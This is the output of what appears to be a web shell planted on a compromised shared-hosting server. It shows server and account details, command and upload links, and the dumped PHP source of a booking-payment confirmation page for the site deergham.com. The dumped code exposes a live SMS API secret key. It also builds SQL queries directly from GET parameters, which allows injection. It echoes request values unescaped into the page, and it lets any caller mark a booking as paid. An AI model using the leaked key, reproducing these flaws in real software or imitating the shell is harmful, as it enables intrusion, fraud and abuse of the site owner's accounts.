Server IP : 103.53.40.154 / Your IP : 18.191.200.47 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/abslmnewsnetwork.com/../nstp.in/../deergham.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once "admin/config.php"; if (isset($_GET['transaction_id'])) { $amount=$_GET['amount']; $payid=$_GET['transaction_id']; $insertedId=$_GET['payment_request_id']; $indianTimeZone = new DateTimeZone('Asia/Kolkata'); $indianDateTime = new DateTime('now', $indianTimeZone); $date_time = $indianDateTime->format('Y-m-d H:i:s'); $query = "UPDATE `tbl_booking` SET `booking_rate`='$amount',`payment_status`='Success',`booking_status`='Confirm',`transaction_id`='$payid',`date_time`='$date_time' WHERE book_id=$insertedId"; $result = mysqli_query($db, $query) or die("Query unsuccessful"); if($result){ $check_query = "SELECT contact FROM tbl_booking WHERE book_id=$insertedId"; $result = mysqli_query($db, $check_query); $row = mysqli_fetch_assoc($result); $mobile=$row['contact']; // Store the OTP and mobile number in a session for verification session_start(); date_default_timezone_set('Asia/Kolkata'); $otp_generated_at = date('Y-m-d H:i:s'); // Your SMS API details $api_key = "R6rdkXK6XUaKOKoPQFVf"; $to = $mobile; $sender_id = "DERGHM"; $message = "Dear Customer, Thanks for your order. For more details click on the website. Call Now - 9828479454 Thanks Team DEERGHAM"; // $p_entity_id = "1201162643300643505"; //not found $temp_id = "1707171143610792666"; // Send the OTP via SMS $apiURL = "https://sms.staticking.com/index.php/smsapi/httpapi/?" . "secret=" . urlencode("R6rdkXK6XUaKOKoPQFVf") . "&sender=" . urlencode("DERGHM") . "&tempid=". urlencode("1707171143610792666") . "&receiver=" . urlencode("$to") . "&route=". urlencode("TA") . "&msgtype=" . urlencode("1") . "&sms=" . urlencode($message); // Initialize cURL session $ch = curl_init(); // Set cURL options curl_setopt($ch, CURLOPT_URL, $apiURL); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Execute the cURL session and get the response $response = curl_exec($ch); // Check for cURL errors if (curl_errno($ch)) { echo "cURL Error: " . curl_error($ch); } else { // Check if the response contains "Message Sent Successfully" if (strpos($response, "Message Sent Successfully") !== false || strpos($response, '{"smsid":') !== false) { } else { // Handle other response cases echo "Failed to send Mesage. Response: " . $response; } } // Close the cURL session curl_close($ch); } }else{ header("Location: https://www.deergham.com/failed.php"); exit; } ?> <!DOCTYPE html> <html lang=en> <head> <meta charset=UTF-8> <meta name=viewport content="width=device-width,initial-scale=1,minimum-scale=1"> <meta http-equiv=X-UA-Compatible content="ie=edge"> <title>Thanks | Deergham</title> <meta name="description" content="Thanks | Deergham"> <?php include "top-links.php" ?> <link rel="stylesheet" href="css/cart.min.css"> </head> <body> <?php include "header.php" ?> <main> <header class="page" style="padding-top:;"> <div class="page_main container-fluid"> <div class="container"> <h1 class="page_header">Thanks</h1> </div> </div> <div class="container"> <ul class="page_breadcrumbs d-flex flex-wrap"> <li class="page_breadcrumbs-item"><a class="link" href="<?php echo $wspath?>">Home</a></li> <li class="page_breadcrumbs-item current"><span>Thanks</span></li> </ul> </div> </header> <div class="container" style="padding-bottom:20px; padding-top:20px;"> <div class="row"> <h3 class="text-center" style="color:green;">Transaction is Successful! Thank You for Your Oreder, We will contact you soon</h3> <h4 class="text-center">Paid Amount- <?php echo $amount;?></h4> <h4 class="text-center">Transaction Id- <?php echo $payid;?></h4> <h4 class="text-center">Order Id- DEERGHAM<?php echo $insertedId;?></h4> <div class="text-center"> <div class="about-text text-center"> <a href="<?php echo $wspath?>"> <!--<button type="button" class="btn float-end">Go To Home</button>--> </a> </div> </div> </div> </div> </main> <?php include "footer.php" ;?> </body> </html>